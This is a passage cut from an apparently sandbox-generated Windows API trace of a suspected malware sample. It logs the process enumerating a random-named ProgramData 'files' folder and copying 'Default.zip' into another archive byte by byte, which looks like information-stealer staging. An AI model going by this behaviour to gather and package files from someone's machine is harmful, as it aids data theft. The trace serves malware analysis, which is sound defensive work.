returned 1 [0149.314] lstrcpyW (in: lpString1=0x19f174, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files" [0149.314] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\" [0149.314] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\", lpString2="Files" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files" [0149.314] lstrcpyW (in: lpString1=0x19f37c, lpString2="" | out: lpString1="") returned="" [0149.314] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0149.314] lstrcatW (in: lpString1="\\", lpString2="Files" | out: lpString1="\\Files") returned="\\Files" [0149.315] lstrcmpW (lpString1="Files", lpString2=".") returned 1 [0149.315] lstrcmpW (lpString1="Files", lpString2="..") returned 1 [0149.315] lstrcpyW (in: lpString1=0x19ec04, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files" [0149.315] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files\\*.*") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files\\*.*" [0149.315] FindFirstFileW (in: lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files\\*.*", lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e27c2f5, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4e31da8b, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e31da8b, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8823f0 [0149.315] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files" [0149.315] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files\\" [0149.315] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files\\", lpString2="." | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files\\.") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files\\." [0149.315] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Files" | out: lpString1="\\Files") returned="\\Files" [0149.316] lstrcatW (in: lpString1="\\Files", lpString2="\\" | out: lpString1="\\Files\\") returned="\\Files\\" [0149.316] lstrcatW (in: lpString1="\\Files\\", lpString2="." | out: lpString1="\\Files\\.") returned="\\Files\\." [0149.316] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0149.316] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e27c2f5, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4e31da8b, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e31da8b, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.316] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files" [0149.316] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files\\" [0149.316] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files\\", lpString2=".." | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files\\..") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files\\.." [0149.316] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Files" | out: lpString1="\\Files") returned="\\Files" [0149.316] lstrcatW (in: lpString1="\\Files", lpString2="\\" | out: lpString1="\\Files\\") returned="\\Files\\" [0149.316] lstrcatW (in: lpString1="\\Files\\", lpString2=".." | out: lpString1="\\Files\\..") returned="\\Files\\.." [0149.316] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0149.316] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0149.316] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e31c54c, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4e31c54c, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e8ec402, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x16, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default.zip", cAlternateFileName="")) returned 1 [0149.316] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files" [0149.316] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files\\" [0149.316] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files\\", lpString2="Default.zip" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files\\Default.zip") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files\\Default.zip" [0149.316] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Files" | out: lpString1="\\Files") returned="\\Files" [0149.317] lstrcatW (in: lpString1="\\Files", lpString2="\\" | out: lpString1="\\Files\\") returned="\\Files\\" [0149.317] lstrcatW (in: lpString1="\\Files\\", lpString2="Default.zip" | out: lpString1="\\Files\\Default.zip") returned="\\Files\\Default.zip" [0149.317] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x3340048 [0149.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files\\Default.zip", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0149.317] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x41) returned 0x32bb888 [0149.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files\\Default.zip", cchWideChar=65, lpMultiByteStr=0x32bb888, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files\\Default.zip", lpUsedDefaultChar=0x0) returned 65 [0149.317] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362b48 [0149.317] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bb888 | out: hHeap=0x2360000) returned 1 [0149.317] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0149.317] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0149.317] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x8) returned 0x2366988 [0149.317] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x2366988, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0149.317] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366988 | out: hHeap=0x2360000) returned 1 [0149.317] PathMatchSpecW (pszFile="Default.zip", pszSpec="*.*") returned 1 [0149.317] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x3340048 [0149.317] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x33400e0 [0149.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files\\Default.zip", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0149.317] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x41) returned 0x32bb428 [0149.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files\\Default.zip", cchWideChar=65, lpMultiByteStr=0x32bb428, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files\\Default.zip", lpUsedDefaultChar=0x0) returned 65 [0149.318] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362990 [0149.318] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bb428 | out: hHeap=0x2360000) returned 1 [0149.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Files\\Default.zip", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0149.318] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x13) returned 0x3340d60 [0149.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Files\\Default.zip", cchWideChar=19, lpMultiByteStr=0x3340d60, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\Files\\Default.zip", lpUsedDefaultChar=0x0) returned 19 [0149.318] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340510 [0149.318] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340d60 | out: hHeap=0x2360000) returned 1 [0149.318] GetLastError () returned 0x5 [0149.318] SetLastError (dwErrCode=0x5) [0149.318] GetLastError () returned 0x5 [0149.319] SetLastError (dwErrCode=0x5) [0149.319] CreateFileA (lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files\\Default.zip" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\files\\default.zip"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0149.319] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x92 [0149.319] GetFileInformationByHandle (in: hFile=0x4e8, lpFileInformation=0x19df48 | out: lpFileInformation=0x19df48) returned 1 [0149.319] GetFileSize (in: hFile=0x4e8, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x16 [0149.319] FileTimeToSystemTime (in: lpFileTime=0x19df08, lpSystemTime=0x19def0 | out: lpSystemTime=0x19def0) returned 1 [0149.319] SetFilePointer (in: hFile=0x4e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.319] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfdf*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfdf*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0149.320] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfdf*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfdf*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0149.320] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0149.320] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0149.320] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0149.320] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0149.320] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0149.320] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0149.321] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0149.321] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0149.321] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0149.321] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0149.321] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0149.322] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0149.322] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0149.322] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0149.322] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0149.322] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0149.322] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0149.323] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0149.323] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0149.323] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0149.323] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0149.323] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0149.323] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0149.324] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0149.324] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0149.324] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0149.324] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0149.324] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0149.324] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e160*, nNumberOfBytesToWrite=0x12, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19e160*, lpNumberOfBytesWritten=0x19dfbc*=0x12, lpOverlapped=0x0) returned 1 [0149.324] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e378*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19e378*, lpNumberOfBytesWritten=0x19dfbc*=0x11, lpOverlapped=0x0) returned 1 [0149.325] GetDesktopWindow () returned 0x10010 [0149.325] GetTickCount () returned 0x15b60f4 [0149.325] GetLastError () returned 0x0 [0149.325] SetLastError (dwErrCode=0x0) [0149.325] GetLastError () returned 0x0 [0149.325] SetLastError (dwErrCode=0x0) [0149.325] GetLastError () returned 0x0 [0149.325] SetLastError (dwErrCode=0x0) [0149.325] GetLastError () returned 0x0 [0149.325] SetLastError (dwErrCode=0x0) [0149.326] GetLastError () returned 0x0 [0149.326] SetLastError (dwErrCode=0x0) [0149.326] GetLastError () returned 0x0 [0149.326] SetLastError (dwErrCode=0x0) [0149.326] GetLastError () returned 0x0 [0149.326] SetLastError (dwErrCode=0x0) [0149.326] GetLastError () returned 0x0 [0149.326] SetLastError (dwErrCode=0x0) [0149.326] GetLastError () returned 0x0 [0149.326] SetLastError (dwErrCode=0x0) [0149.326] GetLastError () returned 0x0 [0149.326] SetLastError (dwErrCode=0x0) [0149.326] GetLastError () returned 0x0 [0149.327] SetLastError (dwErrCode=0x0) [0149.327] GetLastError () returned 0x0 [0149.327] SetLastError (dwErrCode=0x0) [0149.327] GetLastError () returned 0x0 [0149.327] SetLastError (dwErrCode=0x0) [0149.327] ReadFile (in: hFile=0x4e8, lpBuffer=0x32bba1c, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x19dfd8, lpOverlapped=0x0 | out: lpBuffer=0x32bba1c*, lpNumberOfBytesRead=0x19dfd8*=0x16, lpOverlapped=0x0) returned 1 [0149.327] WriteFile (in: hFile=0x2f8, lpBuffer=0x32bba1c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x19dfd8, lpOverlapped=0x0 | out: lpBuffer=0x32bba1c*, lpNumberOfBytesWritten=0x19dfd8*=0x16, lpOverlapped=0x0) returned 1 [0149.327] ReadFile (in: hFile=0x4e8, lpBuffer=0x32bba1c, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x19dfd8, lpOverlapped=0x0 | out: lpBuffer=0x32bba1c*, lpNumberOfBytesRead=0x19dfd8*=0x0, lpOverlapped=0x0) returned 1 [0149.327] CloseHandle (hObject=0x4e8) returned 1 [0149.329] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=146, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x92 [0149.329] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfdf*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfdf*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0149.329] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfdf*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfdf*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0149.329] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0149.329] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0149.329] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0149.329] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0149.329] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0149.330] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0149.330] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0149.330] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0149.330] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, 